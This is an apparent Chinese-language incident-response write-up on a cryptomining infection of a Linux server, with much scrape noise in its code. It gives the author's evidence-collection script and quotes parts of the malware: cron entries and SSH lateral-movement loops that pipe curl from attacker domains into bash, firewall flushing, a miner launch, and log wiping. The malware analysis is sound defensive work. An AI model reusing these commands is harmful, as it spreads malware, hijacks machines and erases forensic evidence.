|
背景 前一段时间我处理了一次应急响应,我还输出了一篇文章 Linux应急响应笔记。这两天又处理了一次病毒入侵,在前一次的基础上,这次应急做了一些自动化脚本,应急响应效率有了一定程度的提升,故另做一份笔记。 PS:本文重在分享应急响应经验,文中保留了恶意网址,但是删除了恶意脚本及程序的下载路径。本文仅用于技术讨论与分析,严禁用于任何非法用途,违者后果自负。 应急操作笔记查看我上一次 Linux应急响应笔记,我发现罗列这么多命令,很多时候眼花缭乱,操作起来也不方便,不如写个shell脚本自动化收集信息。 自动化信息收集我的自动化手机信息的脚本如下,脚本的初衷是进行自动化信息收集,不需要我去连接到客户设备,提升操作/沟通效率。 - I+ V7 U! C0 y4 O
- #!/bin/bash. {. ^7 g6 \; r) e
- . z' ?, A' E2 s/ `0 D1 z5 a1 l3 a
- function initial(){( v' j1 B& g" H! t
- echo "Doing initial"
% M6 B# b) e0 J% H7 B F x# R+ a - mkdir /tmp/GatherInfo / L# {( S( q, b
- chmod +x ./chkrootkit
5 Q, {8 }3 @% G% v8 v3 E" D3 e3 z - chmod +x ./busybox* ^! T% T: L& n. C& J" k8 ^, E2 ]
- }4 x! |) \4 h" l! T& W' s
- ( ^' e j+ E3 D0 B4 o5 i5 o$ _
- function chkrootkit_info(){" I/ q5 n, |0 ]& G5 B5 E7 F
- echo "Doing chkrootkit"% V# r0 h' s3 R1 j
- ./chkrootkit > /tmp/GatherInfo/chkrootkit.log 2>&1( _( B9 V5 ?0 I! _4 F1 z
- }+ x4 `$ t; c4 h! y; |" K' R
7 k' S' P2 m' B9 q/ j- function network_info(){' V/ ?$ z9 u0 V2 G; J
- echo "Gathering network info"! }% l6 z5 Z) R& }6 u x% N0 v6 z
- netstat -tulnp > /tmp/GatherInfo/netstat_tulnp.log 2>&1; M1 q/ O/ B3 ~& T
- netstat -anp > /tmp/GatherInfo/netstat_anp.log 2>&10 j/ n4 ]! u2 Y. d
- } e' y+ x- u( c1 y. C
. L* `& ^7 i' J# q; P) y6 F- function process_info(){; d9 j0 _1 i9 L; q& ?# x# ]4 V8 }" K
- echo "Gathering process info"
4 g) c( _# X5 A8 {% w. K - ps aux > /tmp/GatherInfo/ps_aux.log 2>&1
1 @9 K& r0 t/ C6 Q1 ^ q4 ?; h - ps auxef > /tmp/GatherInfo/ps_auxef.log 2>&1
, d. _8 N1 V9 z" R% z& ~7 e& H& _ - top -n 1 > /tmp/GatherInfo/top_n1.log 2>&15 F7 p* \) `0 s( |! p
- }/ s$ d2 x! r' x# U4 U
, {$ S1 O7 u g9 M+ P. R p- function init_info(){
- L1 ^$ f6 D* k5 M# E4 ?6 h - echo "Gathering init info", p; t& B' Z" Z0 Q8 I" Y4 D. Q
- chkconfig --list > /tmp/GatherInfo/chkconfig_list.log 2>&1
& @# h( H: k% S/ L& Y( i - ls -alt /etc/init* > /tmp/GatherInfo/ls_alt_etc_init.log 2>&1# \. o7 v# E8 }; p) g/ f, C7 x' o
- }! k% r: R$ T |, O2 ]+ m2 z
- 8 d; L! w" V( z4 c9 v; m/ \
- function cron_info(){. j2 M: N3 W# q1 Q6 c
- echo "Gathering cron info"
+ o/ z$ d3 l+ G# O" y3 R- G - cat /etc/crontab > /tmp/GatherInfo/crontab.log 2>&1
7 Q6 Q: Z' O$ B7 }* v% |8 G6 b5 E - cat /etc/anacrontab > /tmp/GatherInfo/anacrontab.log 2>&12 L2 ^) t; d: W7 P7 `: f
- crontab -l > /tmp/GatherInfo/crontab_l.log 2>&14 ]( ]& m5 M8 ]
( V" ]5 w# w4 B* k) u j- cd /etc/cron.d/9 v, a3 W; r' s; G* _- J" \
- cat * > /tmp/GatherInfo/etc_cron.d.log 2>&1
, p4 G9 G) r1 |7 s4 F p - cd /etc/cron.daily/5 `/ O4 ^! t# W# X. ?+ R1 B, q
- cat * > /tmp/GatherInfo/etc_daily.log 2>&16 ]! k! M- I. [: o0 |! O/ x# @: `
- cd /etc/cron.hourly/0 W5 T: [4 O9 z2 ~) l9 ]7 `
- cat * > /tmp/GatherInfo/etc_hourly.log 2>&1
' s; t! i( f3 c1 _; o - cd /etc/cron.monthly/
3 h% }4 }7 G, z! C& H6 t - cat * > /tmp/GatherInfo/etc_monthly.log 2>&17 ?9 d6 e$ }0 M9 m' ]. ]
- cd /etc/cron.weekly/) c% Z1 B& X) B
- cat * > /tmp/GatherInfo/etc_weekly.log 2>&1
6 A' f" s3 d; \ - cd /var/spool/cron/9 d# `5 \: x6 e5 F% c! m. Q
- cat * > /tmp/GatherInfo/var_spool_cron.log 2>&1
$ N4 }" W# s, e - cd /var/spool/anacron// v$ {3 w- E- G+ Y
- cat * > /tmp/GatherInfo/var_spool_anacron.log 2>&1+ @, F: y' J+ ]" \( x) k
- }4 ^) z* Z( ^5 d% L2 m; C6 \+ q
- & i# |# ?) }3 Y- }' v+ P
- function other_info(){% q. ^5 q8 X' O$ \" U4 c; p" k
- echo "Gathering other info"
0 O* S9 H0 S j n7 F - cat /etc/passwd | grep -v nologin > /tmp/GatherInfo/passwd.log 2>&1# \1 m% B( a! V8 y% o# `
- ls -alt /tmp > /tmp/GatherInfo/tmp.log 2>&1
! C$ y2 ?. @7 r+ K) b7 e - ls -alt /var/tmp > /tmp/GatherInfo/var_tmp.log 2>&1/ Y8 z1 ?+ F9 V; ]( ~& v# C
- ls -alt /dev/shm > /tmp/GatherInfo/dev_shm.log 2>&11 [ t# F: w; `" ^5 q
- echo $LD_PRELOAD > /tmp/GatherInfo/LD_PRELOAD.log 2>&19 Z1 L* H& K' j1 f+ y, t( z
- cat /etc/ld.so.preload > /tmp/GatherInfo/etc_ld.so.preload.log 2>&1
& e9 W: |7 _; ]8 a; F5 k9 {% M% ? - s -alt /root/.ssh > /tmp/GatherInfo/ls_alt_root_.ssh.log 2>&1+ N/ k0 w% \" F( E
- cat /root/.ssh/* > /tmp/GatherInfo/cat_root_.ssh.log 2>&11 m7 R8 R- s$ T# ?; I( F
+ Y# Y0 R! z1 o8 z- for user in /home/*% O) d% A' t& x7 G; n/ J! K
- do- O" `3 J1 G+ F3 \9 I; l' s
- if test -d $user;then
2 d) e2 l7 [2 }( M( W8 w - cat /$user/.ssh/* > /tmp/GatherInfo/cat_$user_.ssh.log 2>&1
, z% u: n" c m5 D/ G5 O - fi
1 D2 m1 u7 Q) B- D' g4 T8 z - done
8 e7 `. _5 K4 c8 w9 x# Z" N3 z - }
9 W' d: i8 ~4 B6 ^ - $ N# d. T8 b, R) b% O
- initial
O2 F/ V0 v3 q2 \, C - chkrootkit_info
) ?+ {+ ]/ r" [7 n Y: G - network_info
& b0 c5 v, \- N o% i! V% B - process_info" f) ] ]2 a8 H# Y
- init_info1 s: |8 T4 x0 c9 @
- cron_info6 }9 g& P6 I4 \; g9 q6 W
- other_info w* D+ y: J+ q) b' k; i2 h7 F+ J R
- * c$ ?, b* I; |
- cd /tmp
2 `6 H& i8 T! o* P/ B - tar -zcvf GatherInfo.tar.gz GatherInfo
复制代码 信息收集结果分析查看自动化收集的信息GatherInfo下的所有文件内容,根据下面的Checklist表项进行挨个梳理排查 应急响应检查表 在排查进程,网络时都未发现异常。在排查定时任务crontab时,发现三行异常的定时任务
9 P7 n9 G3 L. e4 _2 R- 59 * * * * root (curl -fsSL http://t.amynx.com/ ......( f# g) _7 z) `
- 28 * * * * root (curl -fsSL http://t.jdjdcjq.top/ ......3 S2 a) Z- G: I0 B' _
- 13 * * * * root ps aux|grep lplp.ackng.com ......
复制代码 + [. G; ~, p) b0 I9 Q
我把恶意脚本获取到本地,这是一个shell脚本,接下来分析看看这个脚本干什么 恶意脚本分析恶意脚本脚本共439行代码,前面300行都是删除文件和杀死进程,我简单摘要几段代码 - 5 {! }) e6 ~* v- J3 P, y
- #/bin/bash1 J+ k: N( y7 s, Z$ W- n& I3 C
- processes(){. s$ v/ w) Q4 w
- killme() {1 D, L& A7 U7 F% I% b2 T
- killall -9 chron-34e2fg;ps wx|awk '/34e|r\/v3|moy5|defunct/' | awk '{print $1}' | xargs kill -9 & > /dev/null &
2 M* ]$ X% X* g; D+ `( _, w! |. z - }0 n# F( V' Z! h" |# `& S4 N
0 \! x, y6 r, i. ~, W- killa() {& y# ~$ i1 g, x0 Z% a8 u
- what=$1;ps auxw|awk "/$what/" |awk '!/awk/' | awk '{print $2}'|xargs kill -9&>/dev/null&
/ Z. b! u/ F8 Q0 P) B, ?' K2 w8 w! Z - }
1 _6 l! y; A0 m# J' O$ ^
$ f8 Y* @4 V. r2 _8 v: j2 ~- killa 34e2fg5 y- i A- ] Y5 n
- killme
6 M, j; {! O3 F% l$ C' E; G5 w - \$ m2 D& G7 O6 n( h& _) q
- killall \.Historys! v; y' R! V# W6 ?; ~7 U! L
- killall \.sshd6 ~( o$ ^3 A2 g
- killall neptune
$ ^/ `- @+ [* p2 a* _% L% n5 a - killall xm64# u1 L# s" F/ G! k) J4 f
- killall xm321 z4 I0 F, C9 _ {7 e& [
- killall xmrig c' F t- v1 q! O( L5 e- ~" E
- killall \.xmrig0 e5 b1 F H: Y+ n% u' U
- killall suppoieup9 `( x0 {2 `# I2 J+ h8 \6 ?
8 Z9 B1 j k: S, L- # sshd
; C) x6 H( K/ X+ o( x. b+ K& A - ps ax | grep sshd | grep -v grep | awk '{print $1}' > /tmp/ssdpid; L! {! s8 q6 y X2 J
- while read sshdpid
; A: ~0 P5 `; H! }2 U& u7 X - do, x& W* @0 D* C' D2 X0 ^
- if [ $(echo $(ps -p $sshdpid -o %cpu | grep -v \%CPU) | sed -e 's/\.[0-9]*//g') -ge 60 ]$ t$ b8 {3 c" c5 C6 d! Z
- then) @: \0 D1 H6 A8 S8 ?( n" t. D
- kill $sshdpid
6 m' [8 B6 f. g& K; n* \+ V - fi* Y V! @: z; F
- done < /tmp/ssdpid
' H/ { B; @+ n M9 d4 `# | - rm -f /tmp/ssdpid
, R- ?" b, u, C - ! ?# N2 ~' y' s2 B
- # Removing miners by known path IOC3 n- _ X+ ~( H- g+ h
- files(){* U3 D- m% Z3 }$ g! G
- ulimit -n 65535
9 u; F( h: P, z) r - rm -rf /var/log/syslog
, e: O# j4 ^' \- W2 g - chattr -iua /tmp/' E3 N/ t5 J2 p _' z1 S$ b% l
- chattr -iua /var/tmp/
: y! J+ l8 l% M$ K6 z1 | - chattr -R -i /var/spool/cron
( s {& m S: v" Q5 t: V - chattr -i /etc/crontab2 X# Q* a( s6 f
- ufw disable, X$ k2 t, y0 Q6 N" B
- iptables -F9 |: T c. s9 A! M! N- [# C1 B
- echo "nope" >/tmp/log_rot6 \0 ^) L& z" r3 D& i
- sudo sysctl kernel.nmi_watchdog=0. C" u, B0 |1 l# C( r8 h z
- echo '0' >/proc/sys/kernel/nmi_watchdog
6 ]2 W4 n8 l% B; C - echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf
, l6 L7 z) i7 } - rm /tmp/.cron& m1 V6 s9 M! X6 U. B
- rm /tmp/.main9 o9 h9 q7 [/ J+ b, K
- rm /tmp/.yam* -rf3 [' ]- t% a. {5 ]- N
- rm -f /tmp/irq
5 u5 P3 L) ~7 x$ Q- y5 A, V! R
5 ?8 |. D1 W# L) I) q8 I- # Killing and blocking miners by network related IOC
+ z8 N! `% N& g - network(){! X% Q$ d5 Z' ~! o: N1 a
- # Kill by known ports/IPs. h+ A0 {9 h4 Z
- netstat -anp | grep 69.28.55.86:443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -98 f5 X* U% e6 ^' `: p
- netstat -anp | grep 185.71.65.238 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
. E: d0 I+ @& b7 A. I - 8 k' h8 |+ X* i
- files$ ` F6 k' M) g' J% z# B
- processes
6 I s& |; m. Z- z - network8 I3 V0 E6 k$ e3 T! g
- echo "DONE"
复制代码
+ u8 ~' x' O& P, K接下来是下载恶意二进制程序以及ssh横向传播
" D) e( x; `' E$ _5 ?6 M) ?- 代码片段1% {5 P$ t8 J i' f
- if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
( F8 y' r! Z- v) k0 L - for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'export src=sshcopy;(curl -fsSL http://t.amynx.com/ ....../ ?3 s' n4 \$ q( T$ P, S s. U: }/ v
- fi" w! R, s& f4 h5 ?! T4 u: |
- 3 H' W: n* h, D' Z, J
- 代码片段2
0 ~7 i( U, l2 E - for file in /home/*
, `. ?0 B8 Z- A! W* P" p2 L - do6 M4 w9 y; \; b" C2 @% h* g
- if test -d $file; then4 k/ o9 }9 O2 ~
- if [ -f $file/.ssh/known_hosts ] && [ -f $file/.ssh/id_rsa.pub ]; then% z) ^& @6 W/ R* B; K
- for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" $file/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'export src=sshcopy;(curl -fsSL http://t.amynx.com/ ...... |bash >/dev/null 2>&1 &' & done
l* }8 \# Q$ v) [9 }4 A+ n - fi
. s- H$ }" P6 E7 x* j: q& B6 K - fi8 A+ |) P* w/ s( ?
- done- \; r- F' t/ [
- ! N8 c- s+ Q, c# H" j9 m2 i3 g& ]
- 代码片段3# Y: m: n2 T$ `
- for user in $userlist; do' v$ K: E, Q% W9 ^4 I; X" I! W
- for host in $hostlist; do v q8 N+ X, p
- for key in $keylist; do
7 c2 n; |# C# O. | - for sshp in $sshports; do
8 T3 a' \% z# f" W7 K" e7 Q - i=$((i+1))! N! p3 C1 V/ x1 P5 M7 P1 P
- if [ "${i}" -eq "20" ]; then7 ^, C a! R8 x( M9 z9 ~6 h
- sleep 20
! _8 T a/ d3 j# V - ps wx | grep "ssh -o" | awk '{print $1}' | xargs kill -9 &>/dev/null &8 N d: K; t- [
- i=0/ |, I( b, B) p, p: q+ v4 _. i" s
- fi/ G- v/ h' S4 A2 \! H# q( q; T
- #Wait 20 seconds after every 20 attempts and clean up hanging processes; M" V% r6 q( o
- ' H5 T/ \1 T' n) o$ Z
- chmod +r $key
) G& Z# R; Z5 n, j% U) U( s; S - chmod 400 $key7 u8 M5 X# u9 E0 E
- echo "$user@$host $key $sshp"9 j2 u1 ~* {+ R( l: z/ r$ L
- ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=5 -i $key $user@$host -p$sshp "export src=sshcopy;(curl -fsSL http://t.amynx.com/ ...... |bash >/dev/null 2>&1 &"
% T+ H2 F; ?6 V9 Z3 S& h - done" m1 P% h! \) o: V3 n% A
- done
# R( W+ F/ x+ p% s/ i5 } - done: A' I( N" ~2 y. k) y6 ]
- done
复制代码 7 w& |2 D' @5 ] Z
上面这三段代码是通过ssh的证书登录方式横向感染传播。 - 2 O- F5 Z- k9 `8 R3 B! ?6 k
- if [ ! -d "/.Xll" ];then$ W1 h+ ~, @4 q& s
- mkdir /.Xll* m6 e+ O- Y4 M8 Y% i+ |
- fi" a( o' P) A! K
- cd /.Xll, z7 g5 T, ]7 j/ G+ F
- if [ ! -f "./xr" ];then
: U9 A& ~( y8 X - uname -a|grep x86_64 && (curl -fsSL d.ackng.com/ ......" ?, Q9 }3 m; t, |8 {
- fi
7 E, D7 u% e' p6 m - uname -a|grep x86_64 && ps aux|grep lplp.ackng.com |grep -v grep || ./xr -o lplp.ackng.com:444 --opencl --donate-level=1 --nicehash -B --http-host=0.0.0.0 --http-port=65529
复制代码 ' M$ s3 Y0 _8 a1 t; \4 H3 G
上面这段代码是下载恶意二进制程序,应该就是挖矿病毒本体。 最后是清理痕迹
4 ]0 B8 f9 g$ s Z- history -c
0 l3 H: u/ _! i; |: l; V$ w - echo 0>/var/spool/mail/root
2 q2 M- ?5 ^0 H& j' B ^: ? - echo 0>/var/log/wtmp
3 X# j% N' ^6 a2 W - echo 0>/var/log/secure) D# Y; ]# ~3 T3 B% R
- echo 0>/var/log/cron- ^# ^0 [6 ?) t/ L4 K9 J9 i
- echo > /root/.bash_history
复制代码 清理与恢复根据恶意脚本的逻辑,整理出清理步骤如下 1 删除crontab恶意定时任务 2 杀死./xr进程 3 删除/.Xll 目录 总结与反思病毒标识目录及文件 /.Xll 和 /.Xll/xr 进程表示 ps aux | grep lplp.ackng.com 两个域 t.amynx.com, t.jdjdcjq.top 挖矿威胁小于勒索每次碰到病毒入侵要应急都心惊胆颤,挖矿病毒都还好,最坏情况是重装个环境,客户的数据是安全的,如果是勒索病毒就会很棘手。 无论如何,还是尽量保证系统安全性,减小系统入侵攻击面,这样可以极大保护系统不被入侵。 防护建议一般来说,自动化的入侵一般都是利用非常简单的漏洞,比如若口令,使用存在漏洞的组件,未授权访问等,另外一个感染病毒的方式是ssh证书认证。如上文提到的,针对ssh横向传播就有三个方式,看来这种方式还是很受青睐的。所以对于厂商来说,还是要适当的控制ssh证书登入。 * W9 t! C$ j( U+ A( R0 o7 f- X
|